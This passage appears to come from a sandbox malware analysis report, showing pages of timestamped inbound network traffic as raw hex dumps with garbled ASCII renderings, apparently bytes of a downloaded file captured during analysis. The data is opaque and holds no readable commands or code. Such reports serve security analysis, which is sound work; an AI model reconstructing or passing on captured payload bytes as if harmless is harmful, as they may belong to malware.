69 e1 6b fd 65 c2 73 6d bc 80 94 03 6c 0b 1c 57 40 93 09 78 50 60 ad 82 04 e6 ab a2 de 71 ae 8a 81 0a 13 ee ad f3 3c 
7e 13 33 2e 81 d6 d1 d1 b4 55 9b df 7e 4d c8 40 aa d5 98 67 03 09 a4 5a cd eb 3e 11 48 ca d7 65 ac 0a 44 e5 cf f7 3d 3b 
7d 20 16 f5 3c eb 0c 06 20 2a 7f ca 65 fe 0d a4 1c ef 65 fe 0d 44 e5 4f bd b6 9c 40 52 de d6 b9 f7 09 b2 60 75 e2 33 ae 
2d 27 90 94 9f 60 17 44 52 3e af a7 f8 40 ea c4 67 5d cb 04 10 
Data Ascii: C;-[EufYubi02ft@"LT~V0POx8@ze:VuXm"Vw5#Jhj o{;@ikesmlW@xP`q<~3.U~M@gZ>HeD=;} < *eeDO@R`u
3-'`DR>@g]

2022-09-20 10:10:08 UTC 426 IN Data Raw: e4 5f 67 47 b4 51 22 1c 39 8a 0e 9e b9 cb 60 38 8c 70 64 ae 74 b6 66 f0 65 94 23 1a df a9 39 e0 88 c6 4f de 
ab 39 a2 71 b8 21 fe ed 1f 22 83 6e 88 96 4c 59 57 47 d1 aa 5b 02 19 39 0a 1b 17 94 31 36 f7 92 32 d6 4c 41 7b e7 67 fb 
92 32 d6 7e ae e2 a1 aa b6 26 e4 7b 32 30 ba 23 da f0 b0 44 ff fd 47 c8 6d bc ef 77 3a ab 3a 5a cc 58 92 81 73 74 22 63 
a7 f8 96 a3 11 19 a7 29 70 8e 23 96 28 37 0d 8e a2 c4 07 d6 16 ab fa c8 da b2 53 f8 bc af 05 8a 5f d0 34 53 f3 75 06 62 
55 25 c8 a9 a3 30 fe 8d f4 67 70 14 3d ff 9c b5 f5 3f fe 08 d1 f8 4a d5 6c a0 43 e3 e0 60 a9 2a 72 b0 8c 36 9b 1a d8 8e 68 
1c e4 ac bf b3 2a 92 b3 4c 80 6c b5 7c 88 8d 21 83 9a 09 58 e5 d7 00 28 aa 6a e3 2b 8f a4 f1 0a c2 92 19 82 dc 11 6d 14 
c9 0a 47 cc 80 08 25 9b db 28 42 69 c9 bc b4 70 c4 56 
Data Ascii: _gGQ"9`8pdtfe#9O9q!"nLYWG[9162LA{g2~&{20#DGmw::ZXst"c)p#(7S_4SubU%0gp=?JlC`*r6h*Ll|!X(j+mG%
(BipV

2022-09-20 10:10:08 UTC 434 IN Data Raw: 21 83 e2 b3 0d d4 98 61 93 0c 87 8f 74 a3 5e b2 c4 12 72 14 4f d7 14 2b 74 c8 61 88 bf 87 e9 77 e7 d3 35 c4 
aa 46 f9 0e 42 89 51 25 8a 47 0a 10 6d cc f2 81 04 62 73 67 06 5e 73 14 3d 77 a5 29 19 d7 c5 ba dd b0 dc 62 7c 73 92 
19 46 3f 24 31 c4 11 ab 3a e9 de ea 88 55 dd 32 65 00 45 07 fb af b8 59 01 45 73 fb 57 ee 71 80 a2 aa de ca 5e cd 10 5f 
b5 5e 88 b7 40 7c 56 1d f7 e7 ec 60 d7 fd f9 fb f3 a1 80 65 8e a2 55 a3 de 9f 0f 89 3d 75 23 47 e4 9a 01 28 aa 1a 88 b4 
c1 d7 79 30 d2 c6 4b f6 b2 8f 02 8a 67 35 70 b1 ce 87 38 74 b1 fe 92 c5 69 0a 88 ad 9a 2b cf 64 80 d8 aa c2 e1 75 44 1b 
85 c3 eb 28 aa 9a a0 ea 72 02 98 a4 ea be e4 97 92 92 8e a2 55 b3 a7 72 a4 a3 b0 31 4b d0 27 47 b4 31 cb ae 68 48 a1 
c9 a8 63 c9 82 70 44 1b 20 de f2 f7 98 24 de be 24 88 b7 71 28 
Data Ascii: !at^rO+taw5FBQ%Gmbsg^s=w)b|sF?$1:U2eEYEsWq^_^@|V`eU=u#G(y0Kg5p8ti+duD(rUr1K'G1hHcpD $$q(

2022-09-20 10:10:08 UTC 442 IN Data Raw: d2 ca f1 ac b6 fc 00 5e b2 1c 53 01 45 3f 36 b8 c8 1c 89 fb d3 77 70 97 90 d7 8e 58 15 fc 00 f8 43 6d f9 01 bc 
b7 a6 50 94 80 d8 aa 5b a7 8c 7d 35 65 9c 12 c0 da 51 94 38 5f 61 28 00 45 ab 4e 89 53 ed 28 fa 71 10 26 2a 8e bc 81 
a2 b9 07 e7 0c 9c 64 8e ce 19 e6 01 a7 9a fd 38 e4 54 5b b2 2c 20 a7 54 b9 5e 12 64 eb 58 72 02 b1 55 ab f8 08 c3 d5 
80 36 c0 c2 e6 d3 3d 5b 6f ed c1 c5 ba 4a e8 62 7d 9e ea df 0e c4 56 dd b2 57 43 9c af b0 71 eb a5 37 c2 79 31 03 97 de 
7c 3f ae 2e bd 27 b8 d3 7a 39 ef d4 1b 75 0b ad d9 51 18 bf f5 64 62 4a 63 6b 98 68 7a f9 4c 5c d2 9a 2d f6 c3 2a c3 e7 
ea 64 02 41 c6 b2 1f 97 b4 e6 b7 2d c5 dd 76 bc b5 40 23 32 40 6b fe 27 66 90 d6 fc 92 3d e5 37 1d ad c8 00 7b 59 55 91 
bd fc 92 60 2f c7 63 07 a2 0d 04 7d 52 09 06 7d b2 03 8b 54 
Data Ascii: ^SE?6wpXCmP[}5eQ8_a(ENS(q&*d8T[, T^dXrU6=[oJb}VWCq7y1|?.'z9uQdbJckhzL\-*dA-v@#2@k'f=7{YU
`/c}R}T

2022-09-20 10:10:08 UTC 450 IN Data Raw: 06 50 d8 b8 bf 5e 16 45 57 7e 19 2f 59 3f c2 57 a7 38 78 cd 2f b7 19 78 cd 59 e2 bb 65 a6 36 14 cd bd 38 f7 
e1 23 b9 3a f7 99 b7 15 2f 3d 43 7c 71 6e 2f 5c 64 20 96 80 90 06 67 b8 4b 21 8d 69 d1 ce 92 14 0b c4 0e ce 94 a0 72 a4 
12 85 39 69 88 2f ce 9d e5 b0 1f 88 fd 80 58 87 7a 4e b1 0e 0b 83 98 62 1d 8e 58 a2 32 46 a6 b4 58 2d 69 67 4b 1c d4 57 
67 4b 2f 69 b3 0f 97 ce 57 54 92 37 70 53 de c3 91 f7 e3 8d e1 e2 a7 0f 74 22 a3 97 3d a7 35 36 7e da f5 1b c5 77 10 88 
55 cd 72 be 6b 68 b1 04 c8 27 31 b7 03 ad c8 80 c2 86 4a 50 61 63 c2 21 fe a6 0d 2a 6c d8 57 ac b0 b6 80 c2 f8 07 91 8b 
e8 39 d0 61 86 7d 84 ff eb 1f 99 c1 8f f0 fa a0 65 c1 aa 3e 6a 59 bc 64 b3 ed 6b 2c bc 80 a2 55 5f 11 b9 00 1a ac 0a 22 
17 6c ee 47 91 0b ff 76 51 68 c6 bf 5d 2a 71 73 bd 0b 44 
Data Ascii: P^EW~/Y?W8x/xYe68#:/=C|qn/\d gK!ir9i/XzNbX2FX-igKWgK/iWT7pSt"=56~wUrkh'1JPac!*lW9a}e>jYd
k,U_"lGvQh]*qsD

2022-09-20 10:10:08 UTC 458 IN Data Raw: 13 13 f9 66 96 10 eb f7 25 c1 9b f8 97 3f 42 b4 51 2f c3 80 68 03 97 61 ea a0 2e c3 8c 69 5f 16 45 86 c2 f8 05 
eb 97 b3 e8 15 eb f7 0d 56 b8 5f 30 43 57 5b e6 69 90 77 2c 40 d1 dc 0b d6 2f 3f 45 57 ac 5f 63 05 94 d7 e0 8a f5 bb 6e 
09 9d 07 c4 e6 5e 5c 54 c9 b8 2e aa 5e b2 1c 1b 02 b1 b9 a0 03 73 94 5c d1 81 d7 05 1d 58 25 44 07 5e f7 96 dd 1d 90 
b7 6a ff 70 b5 15 55 01 9d c8 00 b9 37 4a 00 b5 c8 68 a9 6d e8 68 45 46 bf c9 0c b3 10 03 f1 46 ed 5f a5 ea 02 d1 b8 f1 
be b9 92 01 a2 71 1c 72 c4 f2 1c 88 c6 4f 46 db 74 44 e3 4e d5 a5 0d dd 60 6d 17 43 53 09 dd 60 bd 21 59 18 b9 40 d1 
aa af de 47 01 85 f1 0f 34 da 78 9d 0d 0d 56 55 d9 b2 40 ac ca bc ca f4 48 0c 45 ab be 9d c1 a5 1d d1 46 89 45 e7 28 3a 
e8 d2 66 6a 95 ae 84 76 b3 f8 d0 fa 05 0d 85 f1 06 26 6b bc 
Data Ascii: f%?BQ/ha.i_EV_0CW[iw,@/?EW_cn^\T.^s\X%D^jpU7JhmhEFF_qrOFtDN`mCS`!Y@G4xVU@HEFE(:fjv&k

2022-09-20 10:10:08 UTC 466 IN Data Raw: 10 40 ac aa 84 c7 70 44 e3 60 cb f2 e3 d5 c5 96 7d df aa c2 69 00 5a cc 48 39 3b 47 61 63 f4 c2 37 00 52 46 
a1 b8 1a e2 ec 33 70 33 ca 1f 6a e8 66 74 78 d4 d0 ff f1 cf 7f 84 58 15 6e 46 e3 4a 08 88 cd 45 78 0c fe b4 83 e1 31 2c 
59 56 e1 43 e1 44 5f 72 15 22 c2 50 38 d1 0d dd d1 9b 25 18 50 c3 92 c5 91 74 28 ce a8 25 8b b3 11 10 fb e1 c4 db bf fe 
11 a2 8d 9d 51 ad 1c b1 2a dc a5 f2 a7 1d ba 4b 7d c9 d4 62 75 c4 7e 40 cf f2 af ff 93 19 fa 4c 8c 9b 71 01 1c 85 8d d9 52 
8b d5 51 b4 6a d6 7b 4e 20 96 e8 75 42 9e a2 d1 0e 8f 33 4a 1b 8a 33 6a 53 4f 06 01 76 44 1b 33 e3 60 39 a2 8d 59 5c 
36 87 a2 86 da bc 55 56 e1 40 34 5e a2 79 00 71 5c cd fd 95 71 35 45 8a b5 9b b7 74 49 03 62 ab c0 7d 55 73 c5 7d 1d f3 
16 5f 1c a0 a8 6a 81 e2 ca 56 2d 51 5c 6d e4 96 9f 76 31 
Data Ascii: @pD`}iZH9;Gac7RF3p3jftxXnFJEx1,YVCD_r"P8%Pt(%Q*K}bu~@LqRQj{N uB3J3jSOvD3`9Y\6UV@4^yq\q5E
tIb}Us}_jV-Q\mv1

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 60 of 173



2022-09-20 10:10:08 UTC 473 IN Data Raw: a0 7c 88 f7 a7 95 fe fd 66 f9 40 de 4f 9f 89 db d2 e5 c6 51 63 46 5e 16 3b 3a cc 98 65 5f 7b 9b 3e 13 b7 ff ca 
97 f3 76 ad f4 2f 38 a3 1e 21 cf 11 ab 2a 9c 51 67 28 b1 55 b8 90 fe 1f ec c7 d0 f7 e3 8e bc b4 70 c4 e6 8e 3c 74 72 44 1b 
b3 97 a7 7b a7 3e 2c 77 d6 2d c0 9d da 02 dc b5 ca cc 70 97 56 fa 77 a7 e8 88 23 1a df a3 ac 4b ee d6 17 e7 ee 55 26 cb 
4b fa e9 31 3e ae e8 75 8e 16 33 e0 03 f9 97 3f 42 2d 32 be 96 7b 1c a0 13 19 2d bd 77 1c b1 04 88 9e f1 0b 02 d1 78 4f 
df 73 47 34 de 33 e6 bd 23 da 18 e5 40 08 c4 b0 5f 64 cc 3c ec 77 44 1b a0 6d fe 13 4b 90 b6 e9 54 32 7d e8 41 25 63 55 
a0 6d ca 06 69 9b 96 cc 33 7d 47 b4 81 1b de 38 e4 30 b4 58 d5 49 75 63 47 ec e0 29 47 48 40 6c 15 f8 9c ff c5 aa c8 e7 
b4 64 46 64 73 14 ad fa 40 db 8c 57 0d 68 30 c3 be 
Data Ascii: |f@OQcF^;:e_{>v/8!*Qg(Up<trD{>,w-pVw#KU&K1>u3?B-2{-wxOsG43#@_d<wDmKT2}A%cUmi3}
G80XIucG)GH@ldFds@Wh0

2022-09-20 10:10:08 UTC 481 IN Data Raw: 9a 69 4c de b0 00 2d 26 f4 32 ae 32 32 a9 d9 b3 e4 be 04 28 94 2f 18 8c 73 30 2c 19 8c 9b c5 45 59 d5 96 ae 
71 df bd 60 d9 97 00 51 f9 28 a6 43 40 d4 31 ca 0b 16 1e 33 a8 63 15 53 47 20 16 b5 0a ab 23 10 8b da e5 be c4 5e c3 f8 
a9 ed 4a 75 0d 14 7d b5 9f 72 30 01 5a 4c 28 9e de 40 a1 63 8f c2 fc 85 27 16 ea 70 03 e5 50 be 65 a0 6c 4f 59 19 e5 18 
88 ca c1 1a f1 9b 12 f4 e1 ec 53 62 9f 01 b1 56 30 69 66 cb 8f 4c 9a 8f 07 bc a4 8e 0c 78 69 5b 91 0c 51 03 34 98 50 b8 
0d 4f c6 b5 b4 79 be ec af 8e 6e 39 ad 17 ca a7 76 64 23 8c a7 a2 dc 59 1e d9 08 1f 8f ee a8 5a e9 6a d2 fe a7 bc 62 05 
62 ad ce ad ca 15 dd f1 dc 6a 23 6c 68 28 a1 3c 8c 00 85 8e 08 e2 c8 1c 62 5b 78 c5 5d 7a d7 50 b4 dc a3 3b 2a 87 2e 33 
8f 47 77 54 0e 99 1b 1f 8f a3 a8 1c 32 05 3e 1e 47 91 2d 
Data Ascii: iL-&222(/s0,EYq`Q(C@13cSG #^Ju}r0ZL(@c'pPelOYSbV0ifLxi[Q4POyn9vd#YZjbbj#lh(<b[x]zP;*.3GwT2>G-

2022-09-20 10:10:08 UTC 489 IN Data Raw: df 12 8c d2 11 8b ea 19 c7 04 88 ed b8 25 50 a4 23 d6 ea 14 d3 ec 2d 4a fb 57 bc df b2 b0 5c d9 46 1d 27 a8 
8f 1c 27 09 ea 2d f8 6d 7e 6a 40 8d 09 3d a9 ae 81 4e 24 f4 b2 f1 02 62 02 78 bc 62 30 00 b1 28 98 40 c5 44 76 92 6e fe 
04 dd 3c 8b d2 fd d5 2b ae 5c 07 81 58 dd 4a d7 05 44 1d bb b8 73 9d 64 95 7f 45 9b 77 63 29 02 a2 f2 6a 4d 05 14 3a 9e 
6a d0 04 14 39 9e ea 9d 79 92 bf fd 15 8b d9 34 10 8b aa 96 4e 40 51 2b 27 76 57 0e 79 67 e2 91 2c bb e4 91 09 94 19 
9e e5 10 05 a2 0e 70 6c a9 56 e2 d8 b2 c3 72 9a c3 00 51 07 6e a3 a4 5c b7 51 c7 f9 db 55 94 9c 30 4f 83 09 14 6b d5 64 
02 f5 8a 19 5c da d1 60 82 ed c8 d8 ed 4d d7 54 a7 81 95 2b ce 1f 40 d4 81 e8 8e 1c 25 8d d1 1d 4d 2c de 1c 27 a9 e0 11 
68 5c 13 00 02 8d 53 07 e8 ba e2 1b 04 62 75 7b a1 10 01 62 
Data Ascii: %P#-JW\F''-m~j@=N$bxb0(@Dvn<+\XJDsdEwc)jM:j9y4N@Q+'vWyg,plVrQn\QU0Okd\`MT+@%M,'h\Sbu{b

2022-09-20 10:10:08 UTC 497 IN Data Raw: 2f 2a 07 9d 17 4d 4c 92 3d 47 ac ae dd 98 66 3b ee e2 48 1c 38 28 b2 a8 c1 83 e2 2b b6 dc 21 3b 0a e5 a3 e7 
84 fc 20 7c 2d 73 f4 b4 f1 72 14 ca 07 3c 27 55 14 3d 27 2d 00 ec 3e f9 a9 19 8a 96 0f c4 1f 94 8e 88 3f 68 e2 39 65 24 0e 
3a 48 3e e6 62 30 79 39 e0 28 74 bc 5f da db 89 7f fe f7 47 e8 30 61 e9 61 c4 d1 60 42 1a 21 00 b1 77 e7 a3 50 b8 81 98 
a3 a5 11 82 23 ea e8 39 21 3b 62 8e 2e 12 7c 47 ec f6 89 18 87 99 e3 f2 33 98 c5 d1 13 b6 54 ec f6 89 07 37 5f 07 1d 31 
c7 fe 96 59 74 d2 03 f4 31 43 49 86 bc 0e c4 ea 9e bc 93 01 e2 cc b0 9e b4 8d 02 e2 d8 5d 38 09 f3 f7 58 3c 09 9b d8 4b 
75 45 41 65 e2 2d a3 64 d1 32 f3 15 41 a0 2a 1d 24 50 7d 8c 84 f8 c9 65 c2 50 fc b4 6b 25 3b 25 10 3b 71 c1 32 f3 a7 68 
e0 a2 65 a6 89 4d 3b 32 47 ac ae c7 82 88 09 79 45 2c 
Data Ascii: /*ML=Gf;H8(+!; |-sr<'U='->?h9e$:H>b0y9(t_G0aa`B!wP#9!;b.|G3T7_1Yt1CI]8X<KuEAe-d2A*$P}ePk
%;%;q2heM;2GyE,

2022-09-20 10:10:08 UTC 505 IN Data Raw: 9f f6 15 af a8 e6 1c b1 56 b0 c6 55 0e 5a e3 be 2b fe 4d 5f 19 47 91 70 61 6d 48 e5 f7 ab a2 2e 4c 04 a9 e3 d2 
44 d0 68 e4 cb cc 60 88 b5 ba a7 3c 61 03 45 97 54 0f 37 47 87 09 e5 3c 38 e5 e1 66 62 d9 f5 19 8a 9f 76 b9 87 5b 1c b0 
96 3c dc 9a d1 09 e5 4c 0d b4 22 01 26 82 f1 43 e1 fe 81 45 c1 4a ef 17 e6 a0 95 9e fd f6 e5 ae 0f c8 6b b5 16 4c 55 98 
63 c9 54 65 79 60 a9 f8 cd 97 02 4b 99 38 f2 91 15 88 45 f5 95 87 38 5c 4c 84 f2 35 cb 8b 09 10 8b 5a b6 df 8d 47 6f a0 
68 f9 7b e2 c8 2d 0e 10 6b 75 92 6e 05 34 c9 5f ea 80 37 c7 1f d4 41 6f 0e 9b 7a d2 f7 d5 91 eb d8 df 6a aa 02 74 98 00 
c7 90 1f 1f a1 11 09 ad 1c aa 81 58 54 a1 88 76 e4 d5 dd cf c8 80 1a 40 d1 25 fb 29 d4 ca 8e 42 47 1f 19 20 cb 51 14 d5 
ab 49 81 a1 f8 69 df df 38 7d 78 1d b1 28 dc 91 c5 b8 
Data Ascii: VUZ+M_GpamH.LDh`<aET7G<8fbv[<L"&CEJkLUcTey`K8E8\L5ZGoh{-kun4_7AozjtXTv@%)BG QIi8}x(

2022-09-20 10:10:08 UTC 512 IN Data Raw: 1c 7f f3 25 67 b9 b3 e0 2c 17 67 1c 20 2a 5f c5 83 07 88 3a e0 fa c6 2e 59 72 7d 7b 5b 7a cb d8 5d 72 7d 3b 
0b 86 72 aa ae 0c e5 5e b1 dc 8b 02 45 ad 36 7c e2 98 63 cb 27 ee 6c 78 b8 71 f8 6c 79 b8 1d 67 d2 61 51 c9 a4 f3 8a e5 
18 0e c4 1c 70 7d 63 5f 6d b9 be 1d 84 d4 f9 8f 7f 50 b9 3c dc ce f6 48 66 2c 4a 8e 6c ef 46 f4 49 ab 7b a0 50 8e 80 13 52 
7e f4 1e 75 c0 50 af be 3a 72 4b 3b a7 84 c1 71 14 3a 40 c7 ae 79 17 74 ec 91 00 7b 38 e9 90 3d dc bb fb eb 79 49 0e c4 
a2 70 76 66 27 1e 9d 9d 0f f8 9b f5 9b 5f 39 b2 9d fb 94 27 53 a0 50 5e c3 9c 3b 62 8e 5e ce 06 47 61 ce 2d ee 55 61 9a 
3a 49 4d 73 c0 3c aa 5a 5d 9d 6b 8f 47 33 97 0e b9 8c bd 3b 46 b8 8c b9 0e a0 16 09 d5 65 ec 2a 9a f9 2b b6 32 21 df af 
5c c6 ee b7 ba 8c 01 8d 48 18 c9 7b ee 88 ca e1 00 f6 
Data Ascii: %g,g *_:.Yr}{[z]r};r^E6|c'lxqlygaQp}c_mP<Hf,JlFI{PR~uP:rK;q:@yt{8=yIpvf'_9'SP^;b^Ga-Ua:IMs<Z]kG3;F
e*+2!\H{

2022-09-20 10:10:08 UTC 520 IN Data Raw: 9a 96 0c f9 4d d1 b4 0b 04 fb 6a 61 5f 12 c8 95 1b 65 59 76 09 50 14 75 c1 f5 c2 a2 6e 70 bd 4c b3 e4 47 94 
4a cf 01 74 22 01 a6 5c 91 03 88 39 ec 38 c2 ea be 9f 47 8b 96 bf fb 55 ad b5 81 56 24 c0 10 88 3a 5a 18 02 4d db e7 9d 
ec 44 a0 28 aa c3 80 86 39 7a 18 d0 98 08 03 1a e5 08 03 1a 13 dd ea 85 39 c2 ea e5 15 c7 cc 8f d3 51 b4 63 2c ad 9c 
81 98 a3 cc a2 40 ac ee f4 60 17 91 63 6a 5c 9d 89 7b 06 e6 98 71 cf 60 22 c6 d5 7f fe f6 11 8a ea ae ae 4d 51 20 26 60 
4e a4 0e cd 89 03 8c 15 59 ab 15 46 08 66 43 06 23 04 e6 d8 61 84 60 62 6e 9d 03 45 03 b7 5b 0e 30 47 58 0e 98 01 1a 
9e e2 99 e3 34 7e b5 c7 c3 ce 33 07 c3 ce bf e2 c5 db 36 73 dc 78 db 36 11 2f d5 3f ff fc 11 8a a2 ae 07 0c 88 a2 ee e0 
68 3f 37 77 c8 81 94 80 4b f2 df 3f 42 5e d4 fd 7e cb 10 05 1a 
Data Ascii: Mja_eYvPunpLGJt"\98GUV$:ZMD(9z9Qc,@`cj\{q`"MQ &`NYFfC#a`bnE[0GX4~36sx6/?h?7wK?B^~

2022-09-20 10:10:08 UTC 528 IN Data Raw: b1 b6 20 22 16 76 7c ce 40 a1 c3 8d d8 d8 72 1a b1 d9 29 c1 9f 07 a2 1d 11 39 0b 22 c2 5d b1 e5 11 ee ca 44 
84 fa 93 f2 f3 e5 16 67 79 b8 2b ea 38 3a ca 2c 67 6e 51 8e cb 0d cb f2 38 58 71 ba 5b 11 07 0b 22 5e 97 58 d4 dd bc 11 
be 13 11 75 e2 ac 06 84 1c c3 bc c7 b4 f1 72 84 5a 0d f3 d3 b2 71 85 55 cd 11 94 bf 7b 1a 84 a9 f5 5a 01 f9 2f 68 01 eb 
40 66 e3 39 c6 e1 35 ee 80 8b 7c 8f cf d9 91 2b 37 9a 65 2d 2c 8e 5c f9 d9 cb 9c 49 7d 8b e3 c8 95 1f db ee b2 81 40 3e 
bd be fb 45 b8 a5 f9 17 e5 c8 95 47 b0 8b c8 c1 60 17 10 7d 50 ff fb 23 c4 1c ff 3f 55 6f b2 6c c7 8d 43 8b ce f7 b7 d4 20 
93 3d 87 92 2d db ba 96 54 ba 6e 54 d7 fe ff 0f 79 c4 6a 90 fb b9 22 4a 58 81 03 82 64 72 b3 45 83 28 05 1f 3f bc 12 0d 
31 60 97 91 12 b2 cb 00 19 93 25 8f 7d 44 d6 01 0f b7 
Data Ascii:  "v|@r)9"]Dgy+8:,gnQ8Xq["^XurZqU{Z/h@f95|+7e-,\I}@>EG`}P#?UolC =-TnTyj"JXdrE(?1`%}D

2022-09-20 10:10:08 UTC 536 IN Data Raw: c8 60 16 70 4a 10 41 f9 be 79 91 42 1d 44 2c 2a 96 e0 38 66 b0 28 20 32 36 63 ab ab a8 ed d8 ea 3d de f7 ab 
a7 57 a1 02 46 a5 85 10 8a 12 6a 64 d0 8c 04 45 09 49 82 76 19 d8 01 08 0d 30 1a ad 2c 7e ff ed 95 68 89 81 e7 01 15 
d5 6c 01 71 c8 fd 64 2c 24 5a 64 74 be dd a9 ba dd 6f 77 41 c2 bb 06 3f 35 a1 25 06 1e f5 54 54 f7 a3 de 21 6f b8 dd 60 
c0 09 0d 31 f0 a8 67 1d 7e d4 0b 12 8f 7a 9f a5 c3 8f 7a 41 32 2f f2 6f af 44 d6 81 d7 3e 2b f7 6b 5f 90 78 d4 fb 6c 86 1e f5
0e 59 98 17 59 b5 2a 97 3b b1 f3 b5 4f 7d d5 fd da 17 24 5c 62 ac a3 c8 25 26 48 3c 03 62 0f 27 a4 ea 4e 18 fc 59 62 ca 
e0 af 5f a3 c0 2b 5e ed 00 62 ad 06 37 f4 5f 3e bc 12 51 47 44 2d bc 6a 4a 04 22 63 d6 e7 50 4d 84 df 60 b8 81 c0 90 94 
ca 89 8a 18 30 75 64 03 89 96 18 d8 59 62 6e 17 b2 04 
Data Ascii: `pJAyBD,*8f( 26c=WFjdEIv0,~hlqd,$ZdtowA?5%TT!o`1g~zzA2/oD>+k_xlYY*;O}$\b%&H<b'NYb_+^b7_>QGD-
jJ"cPM`0udYbn

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 544 IN Data Raw: d3 57 44 d0 b1 0a f3 79 51 82 08 ed 90 7f b6 46 a2 fc b3 c1 68 15 46 e9 fc 1e 44 43 0c 04 5c 63 51 44 45 8c 
fd 6c 26 c2 01 4b bf 8f 1d e9 4b 6d ea 28 b4 c4 c0 ce 92 3f 35 22 29 67 88 1d 7e 0f a2 62 46 6b 1e bb 44 2e ea b1 3c 13 
ca a2 76 f7 d8 05 1a ae d5 76 e8 71 a3 61 46 9a d0 0a 59 39 1c 2a b2 56 5b 83 61 eb e1 90 9f 76 e7 c3 e1 21 99 c9 cc 
3a 94 c9 2c c8 0d cb 7e 1c b0 84 a8 a3 0f bc 8c 4a 39 10 75 9c 1f 63 de 59 0a 35 31 f0 cc c1 c9 92 28 19 71 c9 81 13 bd 
10 1b b8 19 40 15 97 35 42 54 be 99 5f cd 45 29 bf 1a 48 04 b3 b1 72 05 b3 89 7f 18 59 15 5d 22 34 c4 d8 0e f7 68 d4 c8 
b8 b1 29 fa 28 c6 ad 4d 11 82 5f e5 8f 53 48 3a 0a 1e 27 b1 61 21 c2 8f 33 ea 80 2f 88 e1 23 44 e5 b5 e3 42 48 45 05 1a 
94 68 eb 39 ab 09 51 79 67 ce 30 49 74 e5 0c 03 09 bf 54 ec 
Data Ascii: WDyQFhFDC\cQDEl&KKm(?5")g~bFkD.<vvqaFY9*V[av!:,~J9ucY51(q@5BT_E)HrY]"4h)(M_SH:'a!3/#DBHE
h9Qyg0ItT

2022-09-20 10:10:08 UTC 551 IN Data Raw: be 25 f8 aa 0f b2 5e d5 0b 3d 23 8b 5c 92 a8 38 47 b1 81 44 4d 8c d2 18 23 25 91 94 57 24 b6 fd e5 eb 2b 91 
25 56 f7 92 2a 24 e5 70 38 50 cb 81 9a 94 37 5f ca 26 52 cb 1b dc 1d 5d 54 5b cb 7d d5 cb 2e 4f 97 74 78 35 82 1c b8 c6 
75 51 e3 e6 e6 2e 48 5c e3 7e ff f5 95 08 3a 5a cd 94 be 89 c8 58 d5 6e 50 89 d0 c0 7e 5f d7 ce df 20 d1 22 03 e1 42 b9 
6c 0b 49 82 91 74 58 14 91 24 36 de ee 2c b1 37 57 9c 30 dd ae 8a 3c 9c 68 89 d1 75 12 4e 34 c4 98 cf 17 54 6a 07 32 
ee 2e e7 c5 44 92 b8 87 2e 07 12 2d 33 f4 7c 96 c8 45 8d 91 13 19 10 bf e0 21 9f b3 81 50 31 23 4f 5e 42 2e 0a 21 5d 7e 
75 51 08 e9 22 72 8f f9 28 df 1a ed bd 20 7e 5a 56 17 f1 d3 cc 90 7f ad d1 ba cc 98 f5 69 79 b9 34 ae 22 a5 41 69 8f 8e 
a2 13 0b 48 dd 78 19 0d 17 15 ff ff 28 2f 97 3b b1 d8 5a 24 
Data Ascii: %^=#\8GDM#%W$+%V*$p8P7_&R]T[}.Otx5uQ.H\~:ZXnP~_ "BlItX$6,7W0<huN4Tj2.D.-3|E!P1#O^B.!]~uQ"r( 
~ZViy4"AiHx(/;Z$

2022-09-20 10:10:08 UTC 559 IN Data Raw: 6a f1 2f 5d 5c 55 d4 2d 17 d7 20 3b ee e1 d8 40 22 49 d0 f7 95 d5 65 86 01 e9 a0 5f 6a 04 a7 33 62 ad 6e 3e 
d1 fd c5 5a dd 7a a2 0b 72 63 42 76 ad b6 26 e4 b8 e0 be fd 4c 2e b4 2e 31 d2 9f d3 88 3a de 72 be 18 51 87 92 8f 7c f9 
fd 95 88 0d 44 d8 73 cd d4 44 4d 3a fa 33 b7 0b a9 28 fa 73 5a 87 fc 39 0f 59 61 ba e6 a2 80 a8 23 6e ac 47 16 05 84 a2 
ce da 8a 50 d7 98 96 84 c8 18 c8 31 a0 2e 21 42 51 e1 59 35 74 33 21 c4 ea 9e a3 40 9e 71 8c 86 18 cd ef b5 46 c9 d8 
7a 4b 35 2a 62 0c df 6c 1b 2d 31 70 7b 9e 12 bc 3d 27 59 bc 46 09 59 47 fa 4d 18 59 47 34 e4 d1 b1 d4 25 41 fa fa 53 a8 
58 c7 f6 6d 94 91 25 b6 72 16 0b 71 4e bc 19 bd 79 a7 84 a2 46 80 bc 1d 84 d2 68 98 11 e7 c1 d8 ef 1a a9 e5 1b 01 ea 
b3 28 06 a8 27 39 f5 2a 23 a4 ea ce 3b af 8a 8d 28 71 76 54 ca 
Data Ascii: j/]\U- ;@"Ie_j3bn>ZzrcBv&L..1:rQ|DsDM:3(sZ9Ya#nGP1.!BQY5t3!@qFzK5*bl-1p{='YFYGMYG4%ASXm%
rqNyFh('9*#;(qvT

2022-09-20 10:10:08 UTC 567 IN Data Raw: 74 75 2f 09 5d dd 83 44 70 21 f7 55 63 70 a1 20 07 dc b3 2d 31 e8 9e 1d a1 52 70 e2 f5 b8 e2 89 17 8c 1e 41 
af b4 35 10 a2 8e 51 96 1d a7 84 38 fb 94 73 48 e8 f2 95 31 5a 62 2c 1b 8c 0b e9 9b 47 35 ee 9e 12 cd 73 49 89 7d be 52 
70 10 15 0d d1 11 2e a7 f9 c3 01 a2 0e a5 58 c6 d1 52 88 9d 18 2f c2 7b eb 77 1e 48 33 dc 21 e1 08 6d 09 39 42 83 84 
e1 49 4a 34 fd ce 4b 44 71 58 6f 12 4c 31 40 32 f6 d4 29 c1 e0 f1 45 79 73 bc 99 60 de 1c 2b 87 37 60 4a d0 1b 90 64 53 
ac 30 23 2b c7 75 42 4a e8 3a e1 90 f3 7a f6 25 44 52 3e e1 19 66 89 49 cf 30 90 19 a0 c5 48 ed 78 62 85 19 49 f9 19 55 
ca c1 63 64 1d 08 05 9f 12 0c 05 0f 12 de 80 29 41 6f c0 20 e5 cd 21 09 79 73 90 ac 4a a2 62 24 1d 0b d1 48 52 82 d1 48 
48 3a 99 b1 90 1b 48 f7 ec 94 a0 7b 36 49 67 64 33 52 51 1b 
Data Ascii: tu/]Dp!Ucp -1RpA5Q8sH1Zb,G5sI}Rp.XR/{wH3!m9BIJ4KDqXoL1@2)Eys`+7`JdS0#+uBJ:z%DR>fI0HxbIUc
d)Ao !ysJb$HRHH:H{6Igd3RQ

